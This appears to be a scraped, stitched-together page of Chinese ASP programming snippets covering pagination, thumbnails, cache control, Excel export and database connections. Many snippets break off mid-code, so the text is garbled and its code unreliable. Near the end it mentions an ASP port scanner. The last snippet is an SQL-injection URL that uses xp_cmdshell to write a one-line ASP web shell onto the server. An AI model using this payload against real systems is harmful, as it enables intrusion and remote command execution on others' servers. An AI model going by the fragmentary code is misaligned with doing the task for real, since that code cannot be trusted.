ASP

<%sub fsojs()%>  <% Set fso= Server.CreateObject("Scripting.FileSystemObject") set fd=fso.createtextfile(server.MapPath("../category.js"),true) '開始操作 set rs=server.CreateObject("adodb.recordset")

  　　還是先看看基礎部分吧。首先，我們知道在頁面中顯示圖片是如下代碼： 　　<img src="pic.gif" border="0" width="300" height="260"> 　　src是圖片路徑，border控製圖片邊緣寬度，width是圖片的長度，height是圖片的高度。縮圖的產生其實就是在原始大小上縮放。但一般為了盡量少失真，我們都會按比例縮放。於是，擷取圖片的長寬尺寸也就成了產生縮圖的重點。

[Ctrl+A 全選 注:如需引入外部Js需重新整理才能執行]

首先，來看看效果！ 看看功能：分頁程式首先讀取每頁預置的記錄條數，在此是5條，其它將在下頁中顯示，同時提示當前頁數、總頁數、總記錄數，當顯示的頁數為第一頁時，“首頁”、“上一頁”連結失效，當顯示的頁數為最後頁時，“下一頁”、“尾頁”連結失效。 接下來，以執行個體的方式告訴大家怎麼一步步的做出這種分頁效果。 首先，資料庫中欄位record_info存在於info表中（學習ASP分頁的時候估計你對資料庫也有了一定的瞭解），先連結資料庫並將一個記錄集開啟，以下代碼： 以下為引用的內容： <%

asp生日自動提醒小程式 用ASP編寫，調試通過，使用方便-asp birthday automatically remind small programs with the preparation of ASP, debug, easy to use方法一：

像一般網上很多禁止緩衝的代碼，有時並不可靠，這時你只要在操作的頁面加上就可以了，在網頁的裡指定要定向的新頁，再點後退，看是不是不會再退到剛才的操作頁面了，實際上已經把這個曆史給刪除了  ''''''''''''''''''''''''''''''''''''''''ASP 指令碼  Response.Buffer = True 

000000000000000000000000000000000000000000000000000000000000000 複製代碼 代碼如下:<%  Function Comma(str)  If Not(IsNumeric(str)) or str = 0 Then  Result = 0  ElseIf Len(Fix(str)) 

大多數都是採用Excel.Application(http://www.blueidea.com/tech/program/2006/3547.asp)組件來產生發現容易出錯，而且對於大多數和我一樣的菜鳥來說，比較麻煩，考慮到前些天用ASP+模板+adodb.stream產生靜態頁面的辦法，經過多次嘗試，終於掌握了一種用ASP+模板產生Excel和word的新的辦法，先分享如下：  用模板產生Excel、Word最大優點：      &

主要是給使用者的友好性，原來使用者是依靠搜尋引擎進入我每篇文章的，怎麼能讓使用者讓一箇舊的頁面跳轉到新的頁面，且文章不變，如：    程式碼   http://www.jb51.net/blog/article.asp?id=381  //舊網址   進入之後自動跳轉到   http://www.jb51.net/article.asp?id=381  

需要用到這個功能，沒怎麼測試呢，測試後給具體代碼 假如地址是： http://dxy.com:8082/test/geturl.asp?Param-VR52tmx3syn03777.html 方法一：簡單，得不到參數，只有一個虛擬路徑 複製代碼 代碼如下:GetUrl =request("url")  '這個因為我們沒有url=什麼字樣所以直接pass掉 方法二：得到整個URL，得到參數 複製代碼

z.asp 複製代碼 代碼如下:<%  s= Server.MapPath("z.asp")  Set fso = CreateObject("Scripting.FileSystemObject")  If fso.FileExists(s) Then    fso.Deletefile(s)  End If 

此時我們通常能想到的想法是找一個exe程式，把這個問題解決掉。我原來用C#寫過這樣一個類似的程式。 Google裡面應該能找到我以前寫的那個。就不說了。 後來某一天，我發現ASP就能實現。我當時真的覺得自己太屎了。 不過ASP的這種方法很不好。容易造成系統崩潰（如果資料庫大）。 所以只是寫在這裡。算是拋磚引玉。 '下面我解釋一下下： Function TransferJapanDc9CnInDB()   On Error Resume 

細心的開發人員有時會想到，我們在一個需要讀寫資料庫的頁面裡包含類似 <!-- #include file="conn.asp" -->的代碼時，當你沒有進行讀取操作，資料庫究竟是怎麼樣的狀態呢？  那麼，我們有沒有辦法讓資料庫連接僅在需要讀取資料庫時才開啟，不讀取時就沒有任何動作呢，以下即提供這種思路，以求拋磚引玉。  這種思路即是將資料庫連接代碼封裝在函數裡，在需要讀取時調用這個函數。  以下是SQL串連代碼： 

Application對象內建集合有為存放簡單類型設計的Contents,預設Application("key")就可以使用。 不過Application.Contents不能存放對象,可以存vbs數組,但是在javascript下甚至數組都不能放。 使用Application.Contents時,只能用醜陋的如: for(var i=0;i<15000;i++){     Application.Lock();   &

代碼如下：JScript 複製代碼 代碼如下:function GenerateGuid() {      var TypeLib = new ActiveXObject("Scriptlet.TypeLib");      return (TypeLib.Guid);  } VBScript 複製代碼

按個測試了一下可能會是哪些屬性引起的效能問題，在去掉Type也就是類型屬性顯示的時候，效能有了很大提高，之後的測試也證明了是Type屬性的使用導致了效能問題。

資料庫位置：data/data.mdb 資料庫表：user  id name pwd wenti daan  conn.asp <% db="data/data.mdb" '資料庫存放目錄 on error resume next set conn=server.createobject("adodb.connection")

Rem 將字串轉換為整形資料 function toInteger(str,num)         str=trim(str)         if str="" or not isnumeric(str) then     &

自己把以下代碼儲存為ASP檔案。當然我還是一如既往的BS那些只改作者名字的傢伙。 複製代碼 代碼如下:<%  '============ ASP Port Scanner by lake2 ===================  'http://lake2.0x54.org  'Version: 0.1  'For SpringBoard  '===

1、 用^逸出字元來寫ASP(一句話木馬)檔案的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\